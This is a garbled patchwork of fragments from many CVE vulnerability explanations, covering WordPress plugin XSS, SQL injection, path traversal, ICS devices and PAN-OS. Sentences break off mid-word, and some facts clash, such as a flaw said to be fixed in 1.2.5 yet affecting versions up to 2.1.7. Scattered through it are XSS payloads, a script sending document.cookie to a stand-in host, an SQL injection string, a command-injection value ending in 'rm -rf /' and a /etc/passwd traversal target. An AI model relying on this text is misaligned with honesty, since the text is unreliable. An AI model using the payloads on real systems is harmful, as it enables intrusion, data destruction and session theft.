The WordPress plugin directory's source code browser links for the relevant code at https://plugins.trac.wordpress.org/changeset?sfp_email=&version=1.0.1. This payload is then sent to the vulnerable WordPress site, where the MpOperationLogs plugin logs the exploit attempt. Site administrators should either disable and remove the plugin or apply a patch if available. They should also ensure that all users are using up-to-date versions of the plugin and WordPress itself.

less common platforms, the buffer overflow could potentially be exploited to execute arbitrary code or access external database resources.

Access to sensitive data or systems.

Windows access token used by a legitimate user to access an external database. This token could then be leveraged if an attacker would craft a request that includes '..\' sequences or similar techniques to navigate the file

process. This could lead to unauthorized access, data manipulation, or disruption of the industrial processes running on the area network (LAN), which could potentially reveal information about active devices and services running on the network and the CISA's ICS advisories.

Action if services with known vulnerabilities are discovered.

Available information about the potential impact and ease of exploitability of the vulnerability. An attacker could inadvertently perform a port scan on the network. Accessing and disclosing precise exploit code without commands, access system files, and interact with local resources on the compromised system.

Code on the server. Upon successful upload, the attacker can execute this shell to run arbitrary commands on the server.

, maintain persistent access, and potentially move laterally within the network to access and compromise other systems, scanning files for malware, limiting user permissions, and employing robust input validation to prevent by adding the '.php' extension to the file name or using double extensions, then directly accessing the command shell to facilitate further attacks on other parts of the network. The specific actions an attacker could take include:

An undefined error in certain cases, potentially leading to an uncaught exception that terminates the application. This is often used for handling web requests, this could lead to service disruptions and allow attackers to cause the application to crash.

One way to mitigate the vulnerability is to ensure that the application handles undefined errors gracefully.

If an undefined error object. As a result, the application would throw an uncaught exception, upsetting the normal flow of execution.

.1.2, <https://github.com/octokit/webhooks.js/releases/tag/v10.9.2>, <https://github.com/octokit/webhooks.js> vulnerability to determine its severity.

0 pages.

icious script would execute within their browser. This execution could lead to unauthorized actions such as stealing cookies, session tokens, or other sensitive information from the victims' browsers.

inks or content.

`<input type="submit" value="Submit"></form>` Suppose this field is vulnerable to XSS --> XSS allows an attacker to inject malicious scripts into a web page viewed by other users.

`input = $_POST['user_data']; // User provided data (e.g. from a form)// Inserting user input directly into the page would be executed in their browsers. The script could steal cookies, session tokens, or even redirect the user to another page. This can allow an attacker to inject malicious scripts into a web page, which are then stored and executed by the browser.`

Unauthorized access to user sessions, theft of confidential information, and other malicious activities would possibly violate a CVE Numbering Authority (CNA), before publicly disclosing the vulnerability to alert users about it. The vulnerability, its potential impact, and possible mitigation strategies.

If the malicious script is injected into a page viewed by other users, the malicious script could be executed in their browsers, potentially leading to session hijacking. For example, if the Biteship plugin, this code could be stored in the application's database. When another user accesses the page, the malicious script could be executed in their browser, potentially leading to session hijacking.

This could result in the attacker being able to execute arbitrary JavaScript code in the context of the user's session, stealing cookies, session tokens, or other sensitive information from the victims' browsers. To mitigate this risk, it is important to follow general best security practices, such as input validation and output encoding, along with using secure protocols like HTTPS to protect data in transit.

protect against malicious scripts.

and other malicious activities.

cookies, session tokens, or other sensitive information from the victims' browsers.

ject malicious scripts into the web pages.

lity?_s_id=cve

s script executes within their browser. This could lead to the theft of session cookies, user credentials, .3.12. It is a Stored XSS vulnerability, which means that the malicious script is permanently stored on t

cookies.

s, the stored script would execute in their web browsers, leading to actions like stealing cookies, redirections, or other malicious activities. The URL for this vulnerability is <https://github.com/gin-gonic/gin/pull/1234>. It was discovered in version 1.2.4 and has since been fixed in version 1.2.5. The vulnerability can be exploited by injecting malicious JavaScript code into a page that contains user input. When a user visits the page, the script executes in their browser, potentially leading to the stealing of cookies, session tokens, or other sensitive information, or even performing actions on behalf of the user.

d XSS.

s that page, the script executes in their browser, potentially leading to the stealing of cookies, session tokens, or other sensitive information, or even performing actions on behalf of the user.

okies, session tokens, or other sensitive information, or even performing actions on behalf of the user. The vulnerability was first reported in January 2018 and was fixed in version 1.2.5. It affects all releases up to and including 2.1.7.

information that can be accessed via client-side scripts.

to extract information from the user's session. For instance, an attacker could steal session cookies or tokens by injecting malicious JavaScript code into a page. By doing so, the attacker can impersonate victims and perform actions on their behalf, potentially leading to a full account takeover.

d a script like the following to a page or a post:<script>alert('XSS');</script>. When a user visits this page, they will see an alert box with the message 'XSS'. It is recommended to update the plugin to the latest version that addresses the vulnerability if it has been released. If no patch is available, it is important to use a Content Security Policy (CSP) to prevent such attacks.

ability impacts versions of the plugin up to and including 4.4.2, as reported.

site-scripting-xss-vulnerability?_s_id=cve potentially allowing the attacker to steal cookies, hijack sessions, deface websites, or redirect the user to a page?parameter=<script>alert('XSS');</script>. When an unsuspecting user clicks this link and accesses

'_s_id=cve then perform actions such as stealing session cookies, hijacking user accounts, or redirecting the user to another URL.

h.substring(1).split('=')[1]));</script></div>` If the `window.location.search` part contains XSS payloads, it's a major security vulnerability for WordPress. This vulnerability allows for stored XSS attacks, where malicious scripts can be injected into the search parameter.

For example, an attacker might submit a malicious script as part of event registration data, which is then rendered by the plugin.

Manager-plugin-3-1-39-cross-site-scripting-xss-vulnerability-2?_s_id=cve.

ate content.

attacker could steal cookies, session tokens, or other sensitive information from users, or perform actions such as hijacking sessions, which can then be executed in the context of a user's browser session.

owing the attacker's script to run in other users' browsers.

session tokens, or even perform actions on behalf of the users without their consent. The vulnerability and potentially methods for mitigation or remediation.

ipt executes in their browser context, potentially stealing cookies or performing actions on behalf of the user, such as changing session tokens, redirecting the user to malicious sites, or defacing the webpage by injecting content.

, or other sensitive information retained by the browser and used with that site.

`ut=<script>alert('XSS')</script>``. When a user visits this URL, the script executes in their browser.ous sites. In some cases, it might allow for more advanced attacks like the installation of malware, phiscontext of the user's browser (Reflected XSS).

JRL: `http://example.com/search?term=<script>alert('XSS');</script>' If the search term (in this case, a user input) is not properly validated or sanitized, it can be used to inject malicious code into the application. This can lead to various security issues such as cross-site scripting (XSS), privilege escalation, or data theft. It's important to implement strong input validation and output encoding measures to prevent such attacks. A patch or update is provided that addresses the vulnerability.

t allows for a Stored XSS attack. It affects versions of the KP Fastest Tawk.To Chat plugin up to and including 1.0.1, which can be manipulated into performing unintended actions on the website, all without their knowledge or consent, leading to potential account compromise, data theft, or other malicious activities conducted under the user's identity.

`<script>alert('XSS');</script>` to be stored and then displayed on a web page without encoding or filtering. Inability allows an attacker to inject malicious scripts into web pages which are then stored and executed.

uted in the browser of any user who views the compromised page, potentially leading to unauthorized hijacking, defacing web pages, redirecting users to phishing sites, or installing malware on users' devices.

browser, potentially allowing the attacker to steal cookies, session tokens, or other sensitive information. Furthermore, using web application firewalls (WAFs) and security plugins can help in safeguarding against such attacks.

?_s_id=cve.

When a user views the infected advertisement, the malicious script executes in their browser, potentially injecting harmful code.

A specific example is the Formzu WP plugin, which contains a vulnerability where user input is stored and later displayed without proper sanitization.

This leads to various types of attacks:

on cookies, performing actions on behalf of the user, defacing web pages, or redirecting to phishing sites. This is particularly concerning for versions of Formzu WP up to and including 1.6.6.

Potentially resulting in the execution of malicious scripts.

Who views the compromised content. The script could be used to steal cookies, session tokens, or other sensitive information. If the script is properly sanitized by the Formzu WP plugin, it could be saved and later executed when a user views the website. For example, in version 1.0.22. This stored XSS vulnerability could allow attackers to inject malicious scripts into the website. These scripts execute in their browsers, potentially leading to unauthorized actions on behalf of the users, data theft, and other malicious activities.

If user input is not properly sanitized, an attacker could enter script tags with JavaScript, such as '<script>', which could lead to XSS attacks, redirects to malicious sites, and potentially taking control of user accounts.

The vulnerability is identified as [WP-Formzu-1-0-22-cross-site-scripting-xss-vulnerability?_s_id=cve](#).

To mitigate this risk, it is crucial to implement security measures to sanitize and validate all user input before it is stored or rendered on the website. This includes ensuring that user input is not initially read from the database.

Ensuring data integrity and security is crucial.

```
username = request.form['username']
password = request.form['password'] # Insecure way to build SQL query

# The attacker can inject SQL commands here, such as ' OR '1'='1
query = "SELECT * FROM users WHERE username = '%s' AND password = '%s'" % (username, password)

# The query is then executed, the attacker could potentially access, modify, or delete data in the database. Depending on the database system, this could then be used to execute arbitrary commands or disrupt service.
```

www.twcert.org.tw/cp-132-7624-d0300-1.html'.

availability of the service by triggering a denial-of-service condition. For example, the attacker might up
uses, and ensuring that user privileges are properly segregated can help in protecting the application frc

then use that information to further their attack, such as for system mapping or as part of a precursor
uld allow the attacker to gain access to the system with any user account, including that of an adminis
est to log into the system. Since the key is the same across installations, this token would be considere
ability to access administrator accounts means attackers could potentially alter system settings, creat

nt practices that may include keys that are uniquely generated per deployment, are rotated regularly,

ead to operations such as data theft, installing backdoors, or disrupting service. Since it is a code injecti

and gain access to files that they shouldn't normally access. This can lead to information disclosure, au

example, an attacker might try to access '/etc/passwd' or other sensitive files by requesting 'http://vuln
sments to discover and address vulnerabilities before attackers can exploit them. It's also beneficial to

ions or disrupt the service.

service (DoS) by disrupting the system's availability.

tentially install malicious software. The attacker could use this access to move laterally within the netw
als give administrative access, the script could use the API endpoints or web interface functions to exe

ttack, where the malicious script is saved on the server and executed when other users access the affected vulnerabilities.

ty to upload arbitrary files. These files could be executed to perform harmful commands or to disrupt access, exfiltrating data, or causing denial-of-service conditions, thereby severely compromising the infrastructure, unauthorized access to system data, or Denial of Service (DoS) attacks.

t to gain remote code execution on the server. This could allow the attacker to manipulate the system potentially enabling them to carry out arbitrary system operations or disrupt services. Due to the impact on the integrity, availability, and confidentiality of the system.

complete system compromise depending on what administrative actions are accessible. The functions or endpoints that require elevated privileges do not correctly verify the user's authorization and access confidential information. Additionally, the software provider should release a security update containing information.

-coded credentials to operate within the constraints of the low-privileged account. Information.

it is allowed to perform. This may include running queries, interacting with non-sensitive data, or altering options or access to sensitive information.

nd 16.0 through 16.0.2.1. This vulnerability allows a remote attacker to gain privileges via a malicious

tentially gain unauthorized privileges in the application. For example, an attacker might craft a SQL statement to lead to the disclosure of sensitive information, privilege escalation, and in some cases, the attacker might be able to gain control of the application.

d to be interpreted by the database to perform actions the attacker desires, such as '

I impact of any successful injections.
affected by this vulnerability. The severity provided by Chromium security is marked as 'High'.
leverage to execute arbitrary code or cause a denial of service (DoS) on the affected system.

racker entry discussing the issue: <https://crbug.com/1505708>- A Fedora Project mailing list announcement
behavior, including memory corruption, crashes, or potentially even the execution of attacker-supplied code
of the system, and could potentially lead to further attacks if the machine is taken over by an attack.

/3.11.7- The security advisory for the issue: <https://github.com/honojs/hono/security/advisories/GHS-13>
as by providing unexpected values for parameters when performing actions like deleting resources. Th
e X-Forwarded-For header when the follow_x_forwarded_for feature is enabled.

rocess crashes.

is of this plugin up to and including 1.1.1 are affected by this vulnerability.

Good practice to follow the plugin's official channels or security advisories for updates related to vulnerabilities.

infected content, the malicious code could execute in their browsers. This could lead to unauthorized access.

The implementation of the vulnerability.

This script is executed in their browser, leading to actions being performed on behalf of the victim, such as including 3.2.6 are susceptible to Stored XSS attacks.

Curious payloads to the users' browsers.

page, the malicious code is executed in their browsers, potentially leading to the attacker gaining access by the vulnerable plugin: `<script>alert('XSS');</script>`. If the input handling is improper and the input

is submitted, potentially leading to data theft, session hijacking, or other malicious activities. The specific mechanism varies, allowing attackers to inject malicious scripts.

I enter a malicious script in the search field like:<script>alert('XSS');</script>Without proper sanitization, the input is then saved and executed when other users access the site.

Potentially allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the user. This can lead to database. When other users load the web page that displays the data, the malicious script executes in their browser.

This issue affects versions of the plugin up to and including 4.3.

When other users or administrators access affected pages, the malicious script executes in their browser.

[https://example.com/wp-content/plugins/currency-converter-widget-plugin-1-8-1-cross-site-scripting-xss-vulnerability?_s_id=cve](#)

Generally, it allows for stored XSS attacks, where malicious scripts can be injected and stored within a web

depending on the nature of the data and systems accessed through the vulnerability.

The script would execute, showcasing a simple alert message. More sophisticated scripts could steal cookies. A currency converter widget could have the malicious script executed in their browsers. This could result in actions being performed.

Malicious JavaScript code as part of the content, like so: ``html<script>alert('XSS');</script>``. When other users access the website, the malicious code is executed in their browsers, potentially leading to the attacker gaining unauthorized access to accounts, manipulate web content to defraud users, or exploit vulnerabilities.

This flaw affects versions of WP Catalogue up to and including 1.7.6.

ted as part of the page content, potentially leading to the execution of malicious scripts in other users' is script will then be stored and rendered in the browser of any user who visits the affected page, exec n provided by the developers. Additionally, website administrators should review and sanitize existing tails about the vulnerability, its impact, and guidelines for resolution.

a full assessment had not been completed at that time, or the information hasn't been updated in the data, session hijacking, defacement of webpages, propagation of malware, and other malicious activiti e Gallery plugin for WordPress.

: before it is included in web page content.
ing actions on behalf of the user without their consent.

ter is not properly sanitized by the vulnerable plugin, resulting in the alert being executed in the user's : impact of XSS attacks, and regularly audit plugins for vulnerabilities.
g the 'Improper Neutralization of Input During Web Page Generation'.

eft, session hijacking, or the unauthorized performing of actions on behalf of the user.
: compromise of user accounts.

ng to Reflected XSS.

ability?_s_id=cve

mal input validation and output encoding measures to prevent XSS.

nitize user input in URLs before inserting it into web page content.

t code inside the script tag, in this case, is simply an alert, but it could be more malicious, stealing cook pages generated by the plugin.

o malicious sites.

: into a vulnerable input field in the Optin Forms plugin --><script>alert('XSS attack');</script>```\n|ing the malicious script, potentially leading to stolen credentials, session hijacking, or redirection to a

ute, potentially leading to the stealing of cookies, session tokens, or even defacing the website, depending on the suggested security measures.

12.005 allows an attacker to inject malicious scripts into webpages.

of the users.

security.

ameisms like Content Security Policy (CSP) to reduce the risk of XSS attacks.

ersions up to and including 5.0.2. The vulnerability allows attackers to execute malicious scripts in the context of a

a malicious site or manipulating the page content. For example, the URL might be something like 'http://example.com/?s=malicious'. Additional information on the vulnerability and may include possible fixes or workarounds.

or announcements may provide updated information on the severity of this vulnerability.

e, and other security advisories to inform users and system administrators about the risks and necessary mitigations.

ield or URL parameter that is not properly sanitized and is subsequently stored and displayed in web pages.

licious script executes, which can result in the stealing of session cookies, redirecting users to malicious websites, or stored XSS attacks and affects versions of the plugin up to and including 3.2.0.

websites.

and patches to all WordPress plugins and themes.

-cross-site-scripting-xss-vulnerability?_s_id=cve.

ected page, leading to execution of the script in the context of that user's session, possibly compromising the user's session.

users of other users or admins, leading to session hijacking, data theft, or other malicious activities.

versions of the software up to 1.0.9.

ample.com/stealcookies.php?cookie=' + document.cookie;</script>``

This script, once stored

ss environment, it can lead to data breaches or unauthorized access to secure areas of the website.

-crafted link or visits a manipulated web page.

ally steal cookies, session tokens, or other sensitive information from the victims, or trick the user into

IL, thus exploiting the vulnerability.

the web application. Such attacks can also compromise the integrity of the user's browsing experience

sanitization. The script could do things such as steal cookies or credentials, deface the website, or redirect half of users or access sensitive information without proper authorization.

sensitive information.

user's browser session, allowing the attacker to perform actions on the user's behalf or steal sensitive information. Developers should check the GitHub issue or the official EyouCMS website for any available patches or updates, including the XSS payload in the Public Security Registration Number field. Once the payload is stored

inding of the severity.

bitrary web scripts or HTML by sending a crafted payload. XSS vulnerabilities like this can be exploited by attackers to manipulate users to malicious sites.

; in the context of their session, potentially leading to unauthorized actions on behalf of the user or data theft. This can result in defacing websites, and compromising user experience by altering web page content. All these actions can ultimately lead to significant security risks and loss of user trust.

ub.com/ralap-z/rpcms/issues/7.

dent into a page, would display a pop-up alert box with the text 'XSS' in it. An attacker would customize the input and stored within the web application, which then become part of the generated pages for other users.

In their browsers, potentially leading to actions being carried out as if they were performed by the user, thus bypassing the user's security controls.

half of the user, defacement of the website, or sensitive data exfiltration.

Including session tokens or other personal information.

Up-to-date with the latest security patches.

Web pages viewed by other users.

If cookies, session tokens, or other sensitive information used to impersonate the user, deface web pages, or steal data can be executed in the browsers of users viewing that page. For example, if an attacker is able to insert a script tag into a page, the script will be executed in the user's browser.

JavaScript scripts can be injected into web pages viewed by other users.

In the user's browser.

Attacks being performed on behalf of users without their consent, stolen cookies or session tokens, or redirecting the user to malicious websites. This is known as a session hijack. The vulnerable web application reflects the input in its response without proper neutralization. For more information, see the [OWASP XSS \(Reflective\) Testing Guide](#).

Hijacking web content, or redirecting the user to malicious websites.

An example of a simple attack could be a simple alert, such as: `<script>alert('XSS');</script>`, though real attacks would typically be more complex and stealthy.

This vulnerability affects versions of the Dashboard Widgets Suite up to and including version 3.4.1.

The attacker can steal session cookies, hijack user accounts, redirecting to malicious websites, or exfiltrate sensitive data.

Attacks include stealing session cookies, hijacking user accounts, redirecting to malicious websites, or exfiltrating sensitive data. To prevent potential exploitation of the XSS vulnerability. Additionally, using general web security best practices, such as input validation and output encoding. For more information, see the [OWASP XSS \(Reflective\) Testing Guide](#).

attack.

Insecure web application includes these unsanitized inputs in its response, the script executes in the user's browser.

output to prevent such vulnerabilities.

ed back in the web page without proper sanitization, leading to the execution of the malicious script.

[vulnerability?_s_id=cve](#)

erized by the improper neutralization of user input that leads to cross-site scripting (XSS) attacks, allowing attackers.

[scripting-xss-vulnerability?_s_id=cve](#).

s (session hijacking), redirecting the user to a malicious website, or manipulating webpage content to perform phishing attacks to gather sensitive information from unsuspecting users.

cks. Affected versions of the plugin are from the start of the release up to version 3.23.2.

the context of the victim's browser.

g actions on behalf of the user without their consent.

execution of unauthorized actions or data theft. For example, an attacker could craft a link that looks like

[?_s_id=cve](#).

on hijacking, data theft, and other malicious activities.

box, indicating a successful XSS attack.

3.1.3 are affected by this security issue.

content without sanitization
`echo '<div>' . $post_content . '</div>'; // User content is directly echoed back to the browser'`. Additionally, the attacker could manipulate the webpage content or even redirect users to a malicious page when other users view the webpage.

executed in their browsers.

take control of user accounts, spread false information, or redirect visitors to harmful sites.

This vulnerability affects Annual Archive versions up to and including 1.6.0.

Inspecting users' browsers, leading to data theft, session hijacking, or other malicious activities.

For alternative plugins that serve a similar purpose but are not affected by this vulnerability.

The exploit could be saved and then executed in the browsers of other users who view that content, triggering the attack.

This attack is executed and the nature of the data or functionality exposed through the vulnerable plugin.

The security advisory that details the specifics of the vulnerability, its impact, and mitigation strategies.

The absence of a Base Score may indicate that the scoring process has not been completed or is pending its severity.

Takeovers, data theft, and other malicious outcomes.

This vulnerability affects the Brontobytes Cookie Bar plugin and allows for Stored XSS.

When the cookie consent bar is displayed, the script would execute, potentially leading to actions like stealing session cookies, session hijacking, or gaining unauthorized access to their account; or performing a phishing attack, where the attacker crafts a fake login form that steals session cookies. This can lead to a permanent stored XSS, where malicious scripts can be injected and permanently stored on the vulnerable system.

General XSS protections, like input sanitization and output encoding, can help prevent similar vulnerabilities from being exploited once they reach the user's browser, potentially leading to the aforementioned impacts.

The severity of this vulnerability depends on the nature of the insufficient validation and the architecture of the affected product.

This severity is dependent on the device.

ing a fault in the system. Users might experience loss of connectivity, reduced performance, or a complete system crash if the updates are applied promptly to protect against potential attacks.

users can exploit this vulnerability to gain elevated privileges, manipulate data, create new accounts with full user rights, and potentially access other parts of the system. The advisory provides instructions on how to address the vulnerability.

Review the patched code or security advisories for technical details on the nature of the vulnerability and how it can be exploited. Exploitation requires users to click on a malicious link. This could result in the attacker executing arbitrary browser client side code.

[View advisory](#)

oCreateAgent.

with limited privileges on the firewall.

ons.

This vulnerability could be used to disrupt the firewall's normal operation or to execute code that could further compromise the system. It is important to address the vulnerability, so users are strongly recommended to review the security advisory and apply the necessary patches.

View a specially crafted link to the PAN-OS web interface.

or without their consent.

Based XSS vulnerability in the PAN-OS web interface.

mendations to help mitigate the risk.

user, the JavaScript code executes in the context of their session with PAN-OS, potentially leading to actions. If an administrator views the affected interface, the malicious payload is executed, and any actions performed

script is then stored on the system. Later, when a legitimate administrator accesses the tampered area or enters the URL of the web application.

consent, data theft, or the execution of malicious code.

session, potentially allowing the attacker to steal session cookies, redirect the user to a malicious website, or perform other actions.

Risk is mitigated.

can be easily executed without the user's knowledge, leveraging the user's authentication to perform actions on behalf of the user.

ld like "ping 127.0.0.1; rm -rf /" into a form, which could lead to the deletion of files if the system execi
compromised device as a pivot point to launch further attacks within the network.

ext of the user's browser session, potentially leading to unauthorized actions or data theft. Here's a hy
ntially leading to data theft, session hijacking, account takeover, or other malicious activities.
e users.

ipulation of sensitive data, and possibly a complete takeover of the affected device.
ever, a hypothetical example might involve an HTTP request to an administrative endpoint without prop
rs. This could include manipulating settings, upgrading firmware with a malicious version, or extracting :

9a4833a20da294eaf4b8d55edc91cee and 7c4cf3137f45f1541f09f2f6a7f8850cd3a2eaee, and security :

ot could execute, potentially leading to actions like session hijacking, website defacement, or sensitive
and patches would focus on how to resolve or mitigate the vulnerability rather than on the method of

.h. Following the crash, the server is programmed to automatically restart.

rver, leading to a crash. The automatic restart of the server could potentially be used to cause a denial
software update can be applied.

omotive (All versions), and various versions of Totally Integrated Automation Portal (TIA Portal). This vi

cted only before Update 3).

ing data integrity, or gaining elevated access within the application.

of other affected applications should check Siemens advisories or contact Siemens customer support

now redirected to it, the JavaScript code would execute in the context of their browser session. This could be prevalent, such attacks could disrupt operations, enable intellectual property theft, or provide pathways for

overly permissive Cross-Origin Resource Sharing (CORS) policy in the UMC Web-UI of the affected product. Specifically, TIA Portal versions affected are V14 (All versions), V15.1 (All versions), V16 (All versions), V17 (All versions). To make requests to it on behalf of a user who is logged in, facilitating Cross-Site Request Forgery (CSRF). Additionally, an attacker could also employ more sophisticated attacks involving the interception or manipulation of the reference document '<https://cert-portal.siemens.com/productcert/pdf/ssa-999588.pdf>'.

Description and available reference material.

TIA Portal) V18, upgrading to V18 Update 3 or later would address the vulnerability. In cases where update 3 is exploited by an attacker with network access to cause a denial-of-service condition.

PLUS NET CP 1543-1.

service.

attack surface of the affected devices.

recommended security measures.

the device.

are SIMATIC S7-400 CPU 412-2 PN V7, 414-3 PN/DP V7, 414F-3 PN/DP V7, 416-3 PN/DP V7, and 416F-3 PN/DP V7. Users cannot access the resources or services provided by the device.

rk security measures to protect the affected devices from untrusted networks. Users should refer to the documentation for the specific device, causing the CPU to become overloaded. This could result in the affected device becoming unresponsive or crashing when presented with a malicious web page. This page could then deceptively point users to valid RHACS endpoints, thus potentially exposing them to further attacks.

an invisible frame over a button or link that the user intends to click.

int but would be invisible to the user. When the user interacts with what appears to be a legitimate page, such as https://bugzilla.redhat.com/show_bug.cgi?id=1990363, the user's browser will attempt to follow the link, but instead be directed to a malicious page.

ly sanitize the input, this script could then be executed in the browser of any user viewing the affected page. This could lead to the execution of arbitrary scripts.

in the context of the vulnerable application.

heft.

ute scripts that steal cookies, session tokens, or perform actions on behalf of the user without their co ks with no validation from the host application. This flaw could enable an attacker to navigate to arbitr suggests that it could potentially allow an attacker to redirect to unauthorized URLs, indicating a securi

-controlled webpage or link, potentially leading to phishing attacks, the execution of malicious scripts, rcumvents authorization checks, it violates the integrity of the app's intended control flow and data ha to arbitrary code execution if exploited by a malicious actor.

7.2 and iPadOS 17.2, and tvOS 17.2.

ey were a legitimate user.

rity updates and the vulnerability.

Inerable browser or application, could exploit the vulnerability to execute arbitrary code on the user's oaded. Successful exploitation could potentially enable the attacker to gain access to data available to

ews the compromised document, the JavaScript code would execute in their browser. This could lead t ses, potentially leading to data breaches and a significant compromise of data integrity and confiden i s.

oSpike.

the manufacturer's instructions for remediation to secure their systems from this vulnerability.

eed to call privileged REST API endpoints to manipulate configurations, access sensitive data, disrupt s

or through the Loki REST API without authentication, potentially allowing them to impersonate other u s to the system and impersonate other users.

bility.

REST API, which may not require authentication under certain circumstances, to retrieve sensitive toke

:ing forged JWT tokens, potentially gaining unauthorized access to web management interfaces and RE lead to a complete compromise of the affected system.

agement and REST API endpoints.

interface or perform privileged actions via REST API calls. An attacker might extract confidential information (mimicking an admin user, for instance) with the discovered key, and then sending that token in the 'Authorization' header to a client, potentially bypassing firewall protections.

systems or firewalls.

If 'no origin' mode is used.

origin request.

If 'auth' mode and relying solely on network-level protections, it could provide the attacker with full access to the application's resources.

Policy (SOP) by reflecting the request's origin back in the 'Access-Control-Allow-Origin' header when returning the resource, which should otherwise be restricted by the SOP.

ing them to bypass SOP and potentially access sensitive information or carry out other cross-site requests, preventing unintended access from different origins.

-qxrj-hx23-xp82.

```
ge, no allowed origin setapp.use(async ctx => { ctx.body = 'Hello World';});app.listen(3000);```
```

In this code snippet, the 'no origin' mode is being demonstrated by setting the 'Access-Control-Allow-Origin' header to '*'.

ing user details without the user's knowledge or consent.

The exploit has been made public, and information regarding the exploit is available.

ntially leading to unauthorized data access or manipulation. For instance, an attacker might input a specific administrative rights within the application, which can lead to further exploitation and system compromise.

Manipulate grades or clearances, or even perform actions as an admin, like adding or deleting user accounts at '<https://vuldb.com/?ctiid.247367>' and '<https://vuldb.com/?id.247367>'.

any account created within the web interface.

ext- <https://www.syss.de/pentest-blog/command-injection-via-cli-des-draytek-vigor167-syss-2023-023>
formation, disrupt services, or use the device as a launching point for further attacks.

he underlying operating system. This allows the attacker to run malicious code, potentially leading to l
ocket without role-based permissions being specified, Quarkus processes the request without authent

on processes, potentially leading to the retrieval of sensitive data or execution of actions reserved for ;
' CVE page, and the relevant Red Hat Bugzilla entry. It is important to apply the recommended updates
ug id 2252197) where you can find more technical details about the issue and its status.

al Quarkus codebase when not configured properly. Developers should ensure their GraphQL operatio
ne intended authentication controls and perform unauthorized queries or mutations, which could resu
through browser details.

n individual web application details and usage scenarios.

y.innerHTML = browserDetails; // User-supplied details are not encoded activityLog.append(logEntry
script. This could lead to unauthorized actions being performed on behalf of the victim, data theft, or c
site via a specifically crafted URL.

th=http://malicious-site.com`. When a victim clicks on this link, they would expect to navigate within t
site reputation, as it could appear to willingly redirect users to nefarious sites.

ed attacker to execute arbitrary SQL queries on the backend database through the 'filter' parameter in

o alter the SQL query that interacts with the backend database, potentially allowing the attacker to ret

egrity of the data stored in the backend database of the affected Zultys MX products.

oring web interface access logs for suspicious activities, and using web application firewalls or similar :

the attack can be launched remotely, this vulnerability could be exploited without direct physical acc

iated during a user session, leading to malicious activities.

endpoint during their session, the malicious code could be executed in their browsers, leading to unw

| be executed in the user's browser when the stored data is displayed back to the user.

ie victim's browser, potentially leading to stolen session cookies, unauthorized actions on behalf of the
ed users to execute arbitrary commands via a crafted request targeting vulnerable cgi endpoints.

nerable system would execute, potentially giving the attacker the ability to control the device.

- compromise of the affected systems. For instance, an attacker could manipulate the system to open |
regularly review and monitor authenticated sessions for any suspicious activity.

ucts, and remediation steps.

g remote unauthenticated users to potentially disclose sensitive information. The affected firmware w

: firmware.

ails, mitigation strategies, or firmware updates to address the vulnerability.

ng sensitive information such as configuration files, system logs, or credentials, and use the retrieved c

lity?_s_id=cve

eventually guess the code, allowing them to reset a user's password and potentially gain unauthorized ac

iate places to start looking for such details.

o phishing websites, or even taking actions on the user's behalf within the application if it's a persistent
encoding can help prevent similar vulnerabilities.

: compromised web endpoint, the script executes within the context of the user's session, potentially le|
ls on the context of the vulnerable endpoint and the attacker's objectives.

Traversal attack.

ients which should not be accessible, potentially leading to information disclosure or other security bree

st webapp, possibly leading to sensitive information being disclosed or other security issues such as se

resources based on these URL parameters, which an attacker could exploit by inserting '../' sequences i

s or malware infections.

manipulate the 'redirect' parameter to point to their malicious site. Without proper validation, the appli

n behalf of the user without their consent.

santer that handles user input
string userInput = Request.Form["user_comment"];// The input is stored directly in the browser's execution in their browsers.
4. The script executes without the users' knowledge, potentially stealing their session cookie.

of the plugin up to and including 1.2.18 are affected by this vulnerability.

Properly sanitizing user input from the HTTP_REFERER header. This can lead to unauthorized actions ta

re script is reflected and executed. Successful exploitation could lead to actions such as stealing cookie information or sending a false security report from Wordfence that details the threat: <https://www.wordfence.com/threat-intel/vulnerabilities/4319249492.html>

Execution of arbitrary code on the affected system.

Sensitive data, installing malware, or creating a backdoor for future access.

The issue tracker can be accessed at '<https://jira.atlassian.com/browse/CONF SERVER-93518>'.

'<https://jira.atlassian.com/browse/CONF SERVER-93518>', would have the most impact. An attacker could use this to bypass the application's security mechanisms, leading to arbitrary code execution. This attack would allow an attacker to execute code on the server.

/message/MMHY76AWPA46MAFXPWDGJX6FEGXZVR5Z/- <https://lists.fedoraproject.org/archives/list/tacks-or-other-security-breaches>.
ir systems.

ites, or performing actions on behalf of users.

attacker might steal session tokens, hijack user accounts, deface the website, or redirect users to phis
ction reveals sensitive system information. The vulnerability requires certain misconfigurations on the
lso need the server to be misconfigured to allow public access to the '/vendor' directory. The exploit w
e this information for more sophisticated attacks, such as system intrusion, data theft, or further expl

hpinfo() function in the PHP configuration to prevent its execution.

the actual server's configuration and the location of the 'GetPhplInfo.php' file: GET /vendor/microsoft/mi

aph/msgraph-sdk-php-core/compare/2.0.1...2.0.2- <https://github.com/microsoftgraph/msgraph-sdk-p>
soft/microsoft-graph/tests/GetPhplInfo.php file. Successful exploitation of this vulnerability requires ser
ole an attacker to craft a specific HTTP request to execute the phpinfo() method. Once executed, the at
function entirely to prevent attackers from exploiting the vulnerability.

security advisory link <https://github.com/microsoftgraph/msgraph-sdk-php/security/advisories/GHS->
hpinfo() function, and the resulting output page would display detailed information about the server's

erialized objects.

are encouraged to update to Elasticsearch Hadoop version 7.17.11/8.9.0 or later for the security fix.
via SSH and to bypass authentication for the administrative interface, potentially gaining access as an a
before versions V10R10.12.00 and V10R11.05.02 for BCF.

likely be assessed as critical once a Base Score is provided.

ace as an arbitrary (administrative) user, leading to a complete compromise of the system.

t at '<http://seclists.org/fulldisclosure/2023/Dec/16>', the Official Unify networks security advisories at 't
a utility in an unsafe manner. The attacker, not requiring any form of authentication, could utilize this :

The intent may carry or provide access to.

A malicious application could intercept this intent and gain access to the sensitive information intended for

惡意注入并执行恶意脚本在 web 应用程序的上下文中。

urity.

'github.com/michaelschwarz/Ajax.NET-Professional/commit/c89e39b9679fcb8ab6644fe21cc7e652cb6
n tokens, or other sensitive information from the victims, as well as defacing the website or redirecting
de snippet that does not sanitize user input and directly includes it in the HTML output - Response.Wri
ser keystrokes, capturing sensitive information like passwords.- Redirecting users to malicious website:
tacker can inject arbitrary HTML into the transformed output by supplying a malicious URL query strir
. When an application using Vite has an inline module script in the HTML entry and it's running in a de'

to carry out actions on behalf of the user, manipulate web content, or perform other malicious activiti
nsure protection against this security issue.

to address the issue.

ed to upgrade to Squid version 6.0.1 to fix this issue.

irective is not present, are not affected by this vulnerability.

erability from being exploited.

I forwarding feature is enabled, leading to a server crash or unavailability for legitimate users.

